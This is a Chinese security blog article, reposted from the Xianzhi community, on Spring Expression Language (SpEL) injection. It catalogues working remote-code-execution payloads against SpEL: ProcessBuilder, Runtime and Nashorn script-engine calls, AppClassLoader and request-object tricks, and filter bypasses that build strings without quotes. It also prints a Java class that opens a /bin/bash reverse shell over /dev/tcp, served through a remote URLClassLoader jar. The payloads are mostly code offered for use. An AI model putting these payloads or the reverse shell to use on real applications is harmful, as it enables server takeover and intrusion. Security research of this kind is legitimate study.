有趣的SpEL注入

  • A+
所属分类:代码审计 安全文章
有趣的SpEL注入
原创稿件征集

邮箱:[email protected]
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬


本文转自先知社区:https://xz.aliyun.com/t/9245作者:何止


前言


研究了一下SpEL注入RCE分析以及技巧,做了总结拿来分享一下,抛砖引玉。

SpEL注入基础


SpEL简介

Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。

基本用法:

SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值
示例1:不注册新变量的用法
ExpressionParser parser = new SpelExpressionParser();//创建解析器Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式System.out.println( exp.getValue() );//取值,Hello World!
示例2:自定义注册加载变量的用法
public class Spel { public String name = "何止"; public static void main(String[] args) { Spel user = new Spel(); StandardEvaluationContext context=new StandardEvaluationContext(); context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量 SpelExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression expression = parser.parseExpression("#user.name");//解析表达式 System.out.println( expression.getValue(context).toString() );//取值,输出何止 }}
了解了基本用法之后,我们可以通过创建实例,调用方法先构造几个rce的payload
会用到的语法
spel语法中的T()操作符 , T()操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名(),后面会用得到
spel中的#操作符可以用于标记对象

RCE第一部分


第一部分就是最基础的思路 : 新建实例 , 调用命令执行方法

01 : 调用ProcessBuilder

java代码
String[] str = new String[]{"open","/System/Applications/Calculator.app"};ProcessBuilder p = new ProcessBuilder( str );p.start();//打开计算器
spel中也可以使用new来构造,写法几乎一样,我们可以把表达式简化为一行
new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
完整的执行代码
String cmdStr = "new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器Expression exp = parser.parseExpression(cmdStr);//解析表达式System.out.println( exp.getValue() );//弹出计算器
当然java.lang包下的类无需使用全限定类名,故表达式可简化来bypass
new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()

02 : 调用RunTime

java调用,由于Runtime类使用了单例模式-饿汉式,需要调用Runtime的静态方法得到Runtime实例
Runtime rt = Runtime.getRuntime();//rt.exec(new String[]{"open","/System/Applications/Calculator.app"});
和上个用法略有不同解释在payload后给出
使用string参数 (java.lang包下的类不需要加全限定类名)
T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")
字符串数组方法调用
T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})
解释: 由于RunTime类使用了单例模式 ,获取对象的话不能直接通过构造方法获得,必须通过静态方法getRuntime来获得 , 其源码可参考下图 , 调用静态方法的话需要使用SpEL的T()操作符,T()操作符会返回一个object.
有趣的SpEL注入

03 : 调用ScriptEngine

ruilin师傅的文章学到还可以用js引擎(不知道能不能用颜文字或者其他js绕过的方法到这里,暂时没实验成功,测试成的师傅可以分享下).
获取所有js引擎信息
public static void main(String[] args) { ScriptEngineManager manager = new ScriptEngineManager(); List<ScriptEngineFactory> factories = manager.getEngineFactories(); for (ScriptEngineFactory factory: factories){ System.out.printf( "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" + "Language version: %s%n" + "Extensions: %s%n" + "Mime types: %s%n" + "Names: %s%n", factory.getEngineName(), factory.getEngineVersion(), factory.getLanguageName(), factory.getLanguageVersion(), factory.getExtensions(), factory.getMimeTypes(), factory.getNames() ); } }
Name: Oracle Nashorn
Version: 1.8.0_261
Language name: ECMAScript
Language version: ECMA - 262 Edition 5.1
Extensions: [js]
Mime types: [application/javascript, application/ecmascript, text/javascript, text/ecmascript]
Names: [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
通过结果中的Names,我们知道了所有的js引擎名称故getEngineByName的参数可以填[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript],举个例子:
ScriptEngineManager sem = new ScriptEngineManager();ScriptEngine engine = sem.getEngineByName("nashorn");System.out.println(engine.eval("2+1"));
那么payload也就显而易见
nashorn
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
javascript
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
有趣的SpEL注入
OK基础的第一部分到此结束

RCE第二部分


下面开始第二部分 , 思路 : 反射构造RCE ,下面反射中用到的类包括但不限于上述部分
首先简单介绍反射 :
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制
有趣的SpEL注入
然后简单介绍ClassLoader :
JVM(java虚拟机) 拥有多种ClassLoader, 不同的 ClassLoader 会从不同的地方加载字节码文件, 加载方式可以通过不同的文件目录加载, 也可以从不同的 jar 文件加载,还包括使用网络服务地址来加载。几个重要的 ClassLoader : BootstrapClassLoaderExtensionClassLoader 和AppClassLoaderUrlClassLoader
有趣的SpEL注入
下面构造会用到AppClassLoaderUrlClassLoader

04 : UrlClassLoader

URLClassLoader 可以加载远程类库和本地路径的类库
调用思路 : 远程加载class文件,通过函数调用或者静态代码块来调用
先构造一份Exp.jar , 放到远程vps即可
一份通过构造方法反弹shell的Exp.java实例
public class Exp{ public Exp(String address){ address = address.replace(":","/"); ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done"); try { p.start(); } catch (IOException e) { e.printStackTrace(); } }}
起一个http服务示例
python -m SimpleHTTPServer 8990
Payload
注意必须使用全限定类名 , 或许这个可以过一些bypass
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")
有趣的SpEL注入

05 : AppClassLoader

AppClassLoader 直接面向用户,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录
由于双亲委派的存在,它可以加载到我们想要的类
使用的前提是获取 , 获取AppClassLoader可以通过ClassLoader类的静态方法getSystemClassLoader
System.out.println(ClassLoader.getSystemClassLoader());
有趣的SpEL注入
  • 加载Runtime执行

    由于需要调用到静态方法所以还是要用到T()操作

T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
  • 加载ProcessBuilder执行

T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()

06: 通过其他类获取AppClassLoader

这里我新开一个标题原因是在实际的web项目开发者会导入很多依赖的jar,或编写自定义类
实例1:
使用spel的话一定存在名为org.springframework的包,这个包下有许许多多的类,而这些类的classloader就是app
有趣的SpEL注入

比如
:org.springframework.expression.Expression类
System.out.println( org.springframework.expression.Expression.class.getClassLoader() );
那么很容易就可以得到一个获取AppClassLoader的方法 ,
T(org.springframework.expression.Expression).getClass().getClassLoader()
假设使用thyemleaf的话会有org.thymeleaf.context.AbstractEngineContext:
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
假设有一个自定义的类那么可以:
T(com.ctf.controller.Demo).getClass().getClassLoader()
类比较多,不过多叙述

07: 通过内置对象加载UrlClassLoader

这里在0c0c0f18年的一个文章学到了两个poc,部分截图如下
有趣的SpEL注入
{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("touch/tmp/foobar")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
request、response对象是web项目的常客,通过第一个poc测试发现在web项目如果引入了spel的依赖,那么这两个对象会自动被注册进去。
像这样,会发现它调用的是UrlClassLoader
有趣的SpEL注入

第二个poc则是使用了this关键字来加载也很是巧妙
也可以获取UrlClassLoader
有趣的SpEL注入

08: 字符串 bypass

引号被过滤不可以直接使用字符串,这里提供三种构造字符串的方法
1.T(类名).getName()会返回字符串类型的全限定类名
比如:[[${T(String).getName()}]]结果为java.lang.String
然后我们就可以使用角标来构造我们想要的字符串
[[${T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)}]]#回显h3zh1
有趣的SpEL注入
2.使用Character类构造字符串
[[${T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)}]]
有趣的SpEL注入

3.外部可控字符绕过
通过web请求构造字符串,request有很多方法返回值为String也有String[]用来给getMethod或者getDeclaredMethod的方法定制参数
post方法构造字符串
#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)
get方法构造字符串
#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)
外部的cookie绕过
[[${#request.getRequestedSessionId()}]]
有趣的SpEL注入

参考 :

Ruilin 由浅入深SpEL表达式注入漏洞 : http://rui0.cn/archives/1043
EL : https://www.runoob.com/jsp/jsp-expression-language.html
SpEL : https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions
SpringSpel注入漏洞利用 : https://mp.weixin.qq.com/s?__biz=MzAwMzI0MTMwOQ==&idx=1&mid=2650174018&sn=94cd324370afc2024346f7c508ff77dd
DDCTF-2020-WEB-WriteUp : https://l3yx.github.io/2020/09/04/DDCTF-2020-WEB-WriteUp/

有趣的SpEL注入

本文始发于微信公众号(合天网安实验室):有趣的SpEL注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: